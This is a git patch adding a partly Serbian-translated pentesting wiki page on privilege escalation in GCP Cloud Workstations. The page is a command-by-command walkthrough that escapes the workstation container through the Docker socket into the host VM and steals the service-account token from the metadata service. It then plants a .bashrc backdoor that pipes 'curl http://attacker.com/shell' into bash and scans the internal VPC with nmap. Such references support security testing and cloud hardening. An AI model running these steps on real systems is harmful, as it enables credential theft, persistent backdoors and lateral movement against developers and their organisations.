From fecd6617842bac0f6d74e66944bd72d078ebda23 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Thu, 12 Feb 2026 20:04:07 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

---
 .../gcp-cloud-workstations-privesc.md         | 96 +++++++++++++++++++
 1 file changed, 96 insertions(+)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md

diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
new file mode 100644
index 000000000..63d0a8209
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
@@ -0,0 +1,96 @@
+# GCP - Cloud Workstations Privesc
+
+
+### Container Breakout via Docker Socket (Container -> VM -> Project)
+
+Glavni put za eskalaciju privilegija u Cloud Workstations proističe iz potrebe da se podrže **Docker-in-Docker (DinD)** workflow-i za developere. Ako konfiguracija workstation-a mount-uje Docker socket ili omogućava privileged containers (česta konfiguracija), napadač unutar workstation containera može izbeći u osnovni Compute Engine VM i ukrasti njegov service account token.
+
+**Preduslovi:**
+- Pristup Cloud Workstation terminalu (preko SSH, kompromitovane sesije ili ukradenih kredencijala)
+- Konfiguracija workstation-a mora da mount-uje `/var/run/docker.sock` ili omogući privileged containers
+
+**Kontekst arhitekture:** Workstation je container (Layer 3) koji radi na Docker/Containerd runtime-u (Layer 2) na GCE VM-u (Layer 1). Docker socket daje direktan pristup container runtime-u na hostu.
+
+> [!NOTE]
+> Alat [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatizuje kompletan container escape i ostavlja vas u root shell na host VM-u.
+
+<details>
+
+<summary>Korak 1: Proverite Docker socket</summary>
+```bash
+# Verify the Docker socket is available
+ls -l /var/run/docker.sock
+# Expected output: srw-rw---- 1 root docker 0 ...
+```
+</details>
+
+<details>
+
+<summary>Korak 2: Bekstvo na fajl sistem host VM-a</summary>
+
+Pokrećemo privilegovani kontejner, montirajući root direktorijum hosta na `/mnt/host`. Takođe delimo hostovu mrežu i PID namespace da bismo maksimizirali vidljivost.
+```bash
+# Spawn a privileged container mounting the host's root filesystem
+docker run -it --rm --privileged --net=host --pid=host \
+-v /:/mnt/host \
+alpine sh
+
+# Inside the new container, chroot into the host
+chroot /mnt/host /bin/bash
+```
+Sada imate **root shell na osnovnom Compute Engine VM** (Layer 1).
+
+</details>
+
+<details>
+
+<summary>Korak 3: Steal the VM service account token from IMDS</summary>
+```bash
+# From the host VM, query the Instance Metadata Service
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
+
+# Check which service account is attached
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
+
+# Check scopes (CRITICAL STEP)
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
+```
+</details>
+
+> [!CAUTION]
+> **Check the Scopes!**
+> Čak i ako priloženi Service Account ima ulogu **Editor**, VM može biti ograničen access scopes-ima.
+> Ako vidite `https://www.googleapis.com/auth/cloud-platform`, imate potpuni pristup.
+> Ako vidite samo `logging.write` i `monitoring.write`, ograničeni ste na **Network Pivot** i **Persistence** vektore ispod.
+
+<details>
+
+<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
+
+Cloud Workstations mount a persistent disk to `/home/user`. Pošto container user (obično `user`, UID 1000) odgovara host user (UID 1000), možete pisati u home direktorijum hosta. Ovo vam omogućava da backdoor the environment čak i ako se workstation container ponovo izgradi.
+```bash
+# Check if you can write to the host's persistent home
+ls -la /mnt/host/home/user/
+
+# Drop a backdoor that executes next time the developer logs in
+# Note: Do this from the container escape context
+echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
+```
+</details>
+
+<details>
+
+<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
+
+Pošto delite host network namespace (`--net=host`), sada ste pouzdan čvor na VPC-u. Možete skenirati interne servise koji omogućavaju pristup zasnovan na IP whitelisting.
+```bash
+# Install scanning tools on the host (if internet access allows)
+apk add nmap
+
+# Scan the internal VPC subnet
+nmap -sS -p 80,443,22 10.0.0.0/8
+```
+</details>